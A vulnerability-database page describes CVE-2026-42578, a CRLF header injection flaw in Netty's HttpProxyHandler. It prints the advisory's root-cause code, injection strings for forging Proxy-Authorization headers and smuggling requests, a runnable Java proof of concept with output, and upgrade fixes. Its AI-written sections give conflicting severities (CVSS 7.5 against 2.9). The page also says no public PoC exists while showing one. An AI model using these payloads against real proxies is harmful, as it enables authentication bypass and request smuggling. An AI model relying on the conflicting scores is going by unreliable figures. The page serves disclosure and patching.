What is the CVSS score of CVE-2026-42578?

CVE-2026-42578 has a CVSS 4.0 base score of 2.9 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P. EPSS exploitation probability: 0.0%.

Is there a patch available for CVE-2026-42578?

Yes, a patch is available for CVE-2026-42578. Update the affected software to the latest version immediately.

Netty HttpProxyHandler CVE-2026-42578

LOW

HTTP Response Splitting (CWE-113)

2026-05-07 https://github.com/netty/netty

GHSA-45q3-82m4-75jr

Authentication Bypass Java

2.9

CVSS 4.0 · Vendor: https://github.com/netty/netty

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Recon

Attacker-controlled input
Delivery

Inject CRLF in header value
Exploit

Pass to HttpProxyHandler constructor
Install

CONNECT request generated with validation disabled
C2

Malicious headers written to proxy on wire
Execute

Proxy processes injected headers
Impact

Unauthorized access or request smuggling achieved

Vulnerability Assessment

Weakness	CWE CWE-113 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization HTTP response header sanitization
Exploitation Conditions	The vulnerability is exploitable when an application supplies user-influenced header values to the HttpProxyHandler constructor's outboundHeaders parameter without performing independent CRLF validation. The outboundHeaders parameter must be either not null and populated with user-controlled data, or the application must construct headers dynamically from untrusted input. No special proxy server configuration is required; standard HTTP proxy implementations will process the injected headers as normal. Default configurations of Netty 4.1.x through 4.1.132.Final and 4.2.0.Alpha1 through 4.2.12.Final are vulnerable without additional code changes. The attack is not limited by authentication status, as HttpProxyHandler constructs the CONNECT request before or independent of proxy authentication. Exploitation is prevented if: (1) applications do not use HttpProxyHandler to connect through proxies, (2) applications use only hardcoded header values that are not derived from user input, or (3) applications sanitize header values independently before passing them to HttpProxyHandler, removing or rejecting characters \r and \n. The explicit disabling of validation with withValidation(false) is the root cause; patched versions enable validation by default, so updated versions do not require application-level workarounds.
Impact	CVSS 7.5 with attack vector network, low complexity, no privileges required, and high integrity impact indicates that header injection is feasible against default configurations. The attack complexity is low (AC:L) and requires no user interaction (UI:N) or privileges (PR:N), making exploitation straightforward for any attacker who can influence outbound headers. The scope is unchanged (S:U), meaning the impact is limited to the proxy connection itself rather than system-wide, which explains why confidentiality and availability are not impacted (C:N, A:N) - attackers inject headers, not execute code. No EPSS score, KEV status, or confirmed active exploitation is provided in the available data, suggesting this is a newly disclosed vulnerability without confirmed widespread exploitation at time of analysis. The proof-of-concept source code provided demonstrates technical feasibility, but absence of public exploit code or CISA KEV listing indicates real-world exploitation may be limited. The vulnerability is realistic for applications that dynamically construct proxy headers from user input (e.g., HTTP clients forwarding custom headers, web scrapers setting proxy credentials, API gateways) without additional sanitization. The incomplete nature of the GHSA-84h7-rjj3-6jx4 fix (validation disabled rather than enabled) suggests this may have been an oversight during earlier remediation rather than a new attack vector, which could lower practical risk if applications already apply compensating controls for the earlier advisory.
Exploit ScenarioDerived	An attacker who can control HTTP header values passed to an application using Netty's HttpProxyHandler (e.g., via query parameters, form fields, or API input) embeds CRLF sequences in those headers to inject additional HTTP headers into the CONNECT request sent to a proxy server. For example, injecting 'value\r\nX-Forwarded-For: attacker.com' into a user-supplied header causes two headers to appear on the wire instead of one. A real-world scenario involves a web scraping framework or HTTP client library that allows users to specify custom proxy headers; the attacker injects a forged Proxy-Authorization header to bypass authentication, or injects Transfer-Encoding headers to trigger request smuggling through the proxy.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).

Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

HTTP header injection via CRLF sequences in Netty's HttpProxyHandler allows remote attackers to inject arbitrary HTTP headers into CONNECT proxy requests by supplying malicious outbound headers, bypassing the incomplete fix for GHSA-84h7-rjj3-6jx4. The vulnerability affects Netty 4.1.x up to 4.1.132.Final and 4.2.x up to 4.2.12.Final; unauthenticated remote exploitation is possible when applications pass user-influenced headers to HttpProxyHandler without performing their own CRLF sanitization. CVSS 7.5 (high integrity impact); no public exploit code confirmed at time of analysis, but proof-of-concept source code is provided in the advisory.

RemediationAI

Vendor-released patches are available: upgrade to Netty 4.1.133.Final or later for the 4.1.x branch, or upgrade to Netty 4.2.13.Final or later for the 4.2.x branch. These patched versions remove the explicit withValidation(false) call or add CRLF validation before adding outbound headers. Applications unable to upgrade immediately should implement compensating controls: validate all header values passed to HttpProxyHandler constructors to remove or reject CRLF sequences (\r and \n characters) before instantiation, or restrict HttpProxyHandler usage to trusted internal code paths that do not accept user-influenced header input. Disable or restrict access to proxy functionality if it is not required for the application's use case. The advisory at https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr provides fix details. No workarounds bypass the core issue without patching or external validation, as the vulnerability is in the library's explicit opt-out from validation; sanitizing headers in calling code is the only interim mitigation.

Affected Packages

maven io.netty:netty-handler-proxy fix: 4.1.133.Final, 4.2.13.Final

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Netty's HttpProxyHandler component constructs HTTP CONNECT requests used to establish proxy tunnels. The vulnerability exists in the newInitialMessage() method (line 176 of HttpProxyHandler.java), which explicitly disables header validation by calling DefaultHttpHeadersFactory.headersFactory().withValidation(false). This bypasses the header validation mechanisms introduced in the earlier GHSA-84h7-rjj3-6jx4 fix (CWE-113 neutralization). The outboundHeaders parameter, supplied from the HttpProxyHandler constructor and sourced from application code, is added to the request without CRLF validation (lines 188-190). This allows CRLF sequences (carriage return line feed: \r\n) to be embedded in header values, enabling injection of additional HTTP headers on the wire. The root cause is the explicit opt-out from validation rather than a logic error, making this a configuration-level vulnerability in the library design. Affected CPE: pkg:maven/io.netty:netty-handler-proxy versions 4.1.x through 4.1.132.Final and 4.2.0.Alpha1 through 4.2.12.Final.

Know when Java gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY 2.9 LOW

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (https://github.com/netty/netty) · only source for this CVE.

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

Present

Privileges Required

None

User Interaction

None

Vulnerable system: Confidentiality

None

Vulnerable system: Integrity

Low

Vulnerable system: Availability

None

Subsequent system: Confidentiality

None

Subsequent system: Integrity

None

Subsequent system: Availability

None

Lifecycle Timeline

CVSS changed

May 13, 2026 - 19:22 NVD

2.9 (LOW)

CVE Published

May 07, 2026 - 00:11 nvd

LOW

DescriptionCVE.org

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions)
Component	`io.netty.handler.proxy.HttpProxyHandler`
Vulnerability Type	CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Impact	HTTP Header Injection in CONNECT Proxy Requests
CVSS 3.1 Score	7.5 (High)
CVSS 3.1 Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
Related Advisory	GHSA-84h7-rjj3-6jx4 (Incomplete Fix)

2. Affected Components

io.netty.handler.proxy.HttpProxyHandler - newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

java

// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
User-provided outboundHeaders are added without any CRLF check
The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class - it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

An application uses HttpProxyHandler with user-influenced outboundHeaders
The application does not perform its own CRLF sanitization on header values

Common affected patterns:

HTTP proxy clients that forward user-specified custom headers
Web scraping frameworks that allow users to set proxy headers
API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

java

HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format:

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

java

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

java

// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

java

if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}

8. Resources

Threat Intelligence Overview

EPSS Score

0.0%

Top 85% exploitable

Threat Intel

1 source

Data Quality

5 sources

Confidence: Medium

NVD

CVE.org

EPSS GHSA

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity LOW

CISA KEV No

Public POC No

EPSS 0.0%

Patch available Yes

Active threat No

Deciding rule

LOW severity (CVSS 0.1-3.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Scheduled

Exploitation· derived

None

System Exposure· derived

Open

Automatable· derived

Yes

Human Impact· derived

Low

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +14

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Authentication Bypass CRITICAL

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:maven/io.netty:netty-handler-proxy

Related Vulnerabilities in Netty HTTP Codec Vulnerabilities

View all 10

CVE-2026-42582 HIGH

7.5

CVE-2026-42584 CRITICAL

CVE-2026-42579 CRITICAL

9.1

CVE-2026-42580 MEDIUM

6.5

CVE-2026-42581 CRITICAL

9.8

CVE-2026-42586 HIGH

7.1

More in Java

View all

CVE-2012-4681 CRITICAL Emergency POC

9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL Emergency POC

9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL Act Now POC

9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL Act Now POC

9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH Act Now POC

8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL Emergency POC

9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL Emergency POC

9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL Emergency POC

9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL Act Now POC

9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL Act Now POC

9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL Act Now POC

9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL Act Now POC

9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Same weakness CWE-113 – HTTP Response Splitting

View all

CVE-2024-52875 HIGH POC

8.8

CVE-2016-5699 MEDIUM POC

6.1

CVE-2016-8024 HIGH POC

8.1

CVE-2026-75419 HIGH POC

8.8

CVE-2018-11347 HIGH POC

8.8

CVE-2018-3911 HIGH POC

8.6

CVE-2018-7830 HIGH POC

7.5

CVE-2022-41915 MEDIUM POC

6.5

Same technique Authentication Bypass

View all

CVE-2015-3306 CRITICAL POC

10.0

CVE-2023-22515 CRITICAL POC

9.8

CVE-2022-40684 CRITICAL POC

9.8

CVE-2025-61882 CRITICAL POC

9.8

CVE-2024-0012 CRITICAL POC

9.3

References

Advisories & patches

Search Externally

GitHub PoC

Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC

Back